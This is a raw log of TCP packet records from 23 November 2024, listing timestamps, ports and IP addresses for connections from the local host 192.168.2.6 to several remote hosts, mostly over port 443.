Nov 23, 2024 09:16:43.544259071 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.544262886 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.609229088 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.609246969 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.609862089 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.609867096 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.610208035 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.610219955 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.611131907 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.611135960 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.758383036 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.850008011 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.850020885 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.850641012 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.850645065 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.860044003 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.860466957 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.860531092 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.860724926 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.860739946 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.860753059 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.860757113 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.889448881 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.889525890 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.889633894 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.938843966 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.938922882 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.939001083 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.939352036 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.939425945 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.939662933 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.188162088 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.188172102 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.188180923 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.188184977 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.193353891 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.193365097 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.193938971 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.194035053 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.194176912 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.194984913 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.194984913 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.195000887 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.195010900 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.243717909 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.243746042 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.243756056 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.243762970 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.345340967 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.345385075 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.345552921 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.413639069 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.413664103 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.417268038 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.417293072 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.417469978 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.418611050 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.418622017 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.449981928 CET	49799	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:44.450026989 CET	443	49799	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:44.450339079 CET	49799	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:44.450716972 CET	49800	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:44.450730085 CET	443	49800	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:44.450826883 CET	49800	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:44.464517117 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:44.464747906 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:44.498792887 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.498807907 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.498864889 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.500293970 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.500329018 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.500499964 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.524349928 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.524363041 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.524465084 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.524514914 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.524977922 CET	49800	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:44.524991989 CET	443	49800	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:44.525192022 CET	49799	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:44.525214911 CET	443	49799	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:44.526444912 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.526453972 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.526504040 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.526657104 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:44.526667118 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:44.584131956 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:44.584278107 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:44.584302902 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:44.584397078 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:44.584409952 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.167300940 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.167449951 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.167504072 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:45.171502113 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.171586990 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.171636105 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:45.178174019 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.178286076 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.178339005 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:45.186306000 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.186459064 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.186499119 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:45.194720030 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.194827080 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:45.194876909 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:45.738866091 CET	80	49772	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:45.738923073 CET	49772	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:46.191862106 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.262650013 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.304183006 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.309293985 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.310928106 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.310940027 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.311630011 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.312094927 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.312726974 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.312731981 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.313077927 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.313101053 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.313762903 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.313767910 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.315666914 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.315680027 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.316082954 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.316087008 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.320513010 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.321090937 CET	443	49799	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.321604967 CET	49799	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:46.321621895 CET	443	49799	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.322506905 CET	443	49799	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.322597980 CET	49799	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:46.324013948 CET	49799	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:46.324079037 CET	443	49799	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.324366093 CET	49799	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:46.324377060 CET	443	49799	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.324640989 CET	443	49800	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.324912071 CET	49800	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:46.324934959 CET	443	49800	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.326042891 CET	443	49800	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.326112032 CET	49800	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:46.326998949 CET	49800	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:46.327066898 CET	443	49800	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.369781017 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.369798899 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.370337009 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.370342970 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.404021025 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.412909031 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.412920952 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.413412094 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.413419008 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.516840935 CET	49799	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:46.516967058 CET	49800	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:46.516989946 CET	443	49800	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.637789965 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.637851954 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.637953043 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.715043068 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.715131998 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.715293884 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.722781897 CET	49800	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:46.752513885 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.752584934 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.752674103 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.754745960 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.754818916 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.754894972 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.755656004 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.755829096 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:46.756861925 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:46.829865932 CET	443	49799	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.829957008 CET	443	49799	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:46.830593109 CET	49799	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:47.081870079 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.081892967 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.081918001 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.081924915 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.083564043 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.083600998 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.083614111 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.083620071 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.084449053 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.084455013 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.084465027 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.084467888 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.092138052 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.092165947 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.092181921 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.092190981 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.093173027 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.093199968 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.093215942 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.093224049 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.139389992 CET	49799	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:47.139408112 CET	443	49799	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:47.381601095 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.381645918 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.381714106 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.384213924 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.384227991 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.386014938 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.386054039 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.386112928 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.386293888 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.386318922 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.396152020 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.396177053 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.396251917 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.396464109 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.396495104 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.396666050 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.399736881 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.399751902 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.399962902 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.399974108 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.401062012 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.401071072 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.401163101 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.401321888 CET	49772	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:47.401562929 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:47.401709080 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:47.401726961 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:47.508932114 CET	49817	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:47.508971930 CET	443	49817	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:47.509331942 CET	49817	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:47.509331942 CET	49817	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:47.509362936 CET	443	49817	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:47.520733118 CET	80	49772	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:47.520978928 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:47.521054029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:47.521421909 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:47.521464109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:47.649437904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:47.649528980 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:47.649544954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:47.649557114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:47.698898077 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:47.698954105 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:47.818373919 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:47.818494081 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:47.818535089 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:47.818679094 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:47.818691969 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:47.948746920 CET	49820	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:47.948784113 CET	443	49820	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:47.948906898 CET	49820	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:47.949202061 CET	49821	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:47.949230909 CET	443	49821	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:47.949286938 CET	49821	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:47.950100899 CET	49820	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:47.950113058 CET	443	49820	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:47.950896025 CET	49821	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:47.950908899 CET	443	49821	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:47.973963022 CET	49825	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:47.973990917 CET	443	49825	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:47.974201918 CET	49825	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:47.976970911 CET	49825	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:47.976979971 CET	443	49825	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.286209106 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:48.286284924 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:48.286345959 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:48.290365934 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:48.290419102 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:48.290473938 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:48.296803951 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:48.296829939 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:48.296891928 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:48.305222034 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:48.305248022 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:48.305389881 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:48.313599110 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:48.313652039 CET	443	49710	40.126.53.21	192.168.2.6
Nov 23, 2024 09:16:48.313900948 CET	49710	443	192.168.2.6	40.126.53.21
Nov 23, 2024 09:16:48.493906021 CET	49820	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.494999886 CET	49827	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.495033979 CET	443	49827	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.495166063 CET	49827	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.496174097 CET	49800	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:48.496267080 CET	443	49800	94.245.104.56	192.168.2.6
Nov 23, 2024 09:16:48.496311903 CET	49800	443	192.168.2.6	94.245.104.56
Nov 23, 2024 09:16:48.496525049 CET	49821	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.496655941 CET	49817	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:48.497713089 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:48.497730017 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:48.497786999 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:48.499414921 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.499423027 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.499591112 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.499973059 CET	49827	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.499980927 CET	443	49827	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.500026941 CET	49825	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.500391006 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.500399113 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.500565052 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.500650883 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:48.500664949 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:48.501590014 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.501610994 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.501941919 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.501960039 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.539330006 CET	443	49820	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.539340973 CET	443	49821	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.539372921 CET	443	49817	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:48.547348022 CET	443	49825	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.712861061 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.712912083 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.713076115 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.713351011 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.713366032 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.727442026 CET	49840	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.727503061 CET	443	49840	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.727581024 CET	49840	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.727710962 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.727731943 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.727801085 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.728666067 CET	49840	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.728688002 CET	443	49840	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.728811979 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:48.728827000 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:48.952613115 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:48.953183889 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:48.953223944 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:48.953764915 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:48.953769922 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.020648956 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.020668030 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.022428036 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.022464037 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.022495031 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.022530079 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.022994995 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.023008108 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.023121119 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.023125887 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.213989019 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.214601040 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.214634895 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.215199947 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.215212107 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.220091105 CET	443	49821	162.159.61.3	192.168.2.6
